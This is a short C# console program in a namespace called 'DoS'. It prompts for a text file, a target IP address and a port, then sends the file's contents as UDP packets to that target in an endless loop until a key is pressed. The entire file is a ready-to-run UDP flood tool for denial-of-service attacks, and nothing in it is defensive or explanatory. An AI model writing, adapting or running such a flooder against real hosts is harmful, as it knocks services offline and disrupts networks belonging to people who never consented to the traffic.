using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Net;
using System.Net.Sockets;

namespace DoS
{
	class MainClass
	{
		public static void Main (string[] args)
		{
			string ipadress;
			int port;
			string txtfile;
			string text;
			Socket client = new Socket (AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);

			Start:
			Console.Write ("Txt location: ");
			txtfile = Convert.ToString (Console.ReadLine ());

			if (File.Exists (txtfile)) {
				goto Continue;
			} else {
				Console.WriteLine("File not found\n");
				goto Start;
			}

			Continue:
			Console.Write ("Target IP Address: ");
			ipadress = Convert.ToString (Console.ReadLine ());

			Console.Write ("Target Port: ");
			port = Convert.ToInt32 (Console.ReadLine ());

			IPEndPoint ip_port = new IPEndPoint (IPAddress.Parse(ipadress), port);

			using (StreamReader sr = new StreamReader (txtfile))
				text = sr.ReadToEnd ();

			byte[] packetData = System.Text.ASCIIEncoding.ASCII.GetBytes (text);

			try {
				client.SendTo (packetData, ip_port);
				Console.WriteLine ("Sending UDP packets to " + ipadress + ":" + port + "\n>Press any key to stop!<");
				goto Send;
			}

			catch(Exception) {
				Console.WriteLine("Error sending packets.\n");
				goto Start;
			}

			Send:
			client.SendTo (packetData, ip_port);
			if (Console.KeyAvailable) {
				client.Shutdown (SocketShutdown.Send);
				Environment.Exit (0);
			}
			goto Send;
		}
	}
}